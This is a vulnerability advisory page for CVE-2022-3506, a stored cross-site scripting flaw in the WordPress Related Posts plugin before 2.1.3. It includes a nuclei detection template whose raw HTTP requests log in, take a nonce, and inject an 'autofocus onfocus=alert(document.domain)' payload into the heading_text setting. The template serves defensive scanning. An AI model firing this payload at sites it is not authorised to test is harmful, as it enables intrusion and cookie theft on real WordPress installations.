CVE-2022-3506· never5 / related posts· CWE-79
WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
Fix
Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=rp4wp ; POST /wp-admin/options.php ; GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true
Positive when: contains(header_4, 'text/html') and status_code_4 == 200 and contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>") and contains(body_4, 'The amount of automatically')Run it with nuclei: nuclei -id CVE-2022-3506 -u <target>
The full check
id: CVE-2022-3506
info:
name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
author: arafatansari
severity: medium
description: |
WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
remediation: |
Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
reference:
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-3506
cwe-id: CWE-79
epss-score: 0.01625
epss-percentile: 0.76339
cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: never5
product: related_posts
framework: wordpress
tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
- |
GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(header_4, 'text/html')"
- "status_code_4 == 200"
- 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
- "contains(body_4, 'The amount of automatically')"
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-z]+)" />'
internal: true
part: bodyReferences
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from